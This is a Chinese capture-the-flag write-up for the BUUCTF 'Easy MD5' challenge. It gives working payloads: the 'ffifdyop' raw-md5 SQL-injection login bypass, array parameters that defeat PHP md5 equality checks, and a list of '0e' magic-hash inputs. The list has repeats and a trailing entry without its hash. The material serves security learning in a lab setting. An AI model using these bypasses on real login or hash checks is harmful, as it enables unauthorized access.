buuctf-web-[BJDCTF2020]Easy MD5-wp

[BJDCTF2020]Easy MD5

知识点

  • md5 bypass(数组返回false)

过程

主页,是这么个框框

抓包发现提示

select * from 'admin' where password=md5($pass,true)

16 位 md5 常见套路,输入密码 ffifdyop,登录即可。这是因为它的原始字符串导致了' or 1=1 的 SQL 注入,相当于所谓的万能密码登录。请参考:

https://www.jianshu.com/p/12125291f50d

http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

登录后,查看网页源代码,发现代码,要求 a 和 b 不等但是 md5 相等:

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
	//wow,you can really dance
}

又是典型的 md5 bypass,因为 md5() 或者 sha1() 之类的函数计算的是一个字符串的哈希值,对于数组则返回 false,如果 $a$b 都是数组则双双返回 FALSE, 两个 FALSE 相等得以绕过。payload:

/levels91.php?a[]=1&b[]=2

得到代码

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 
param1[]=1&param2[]=2

一些md5值
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值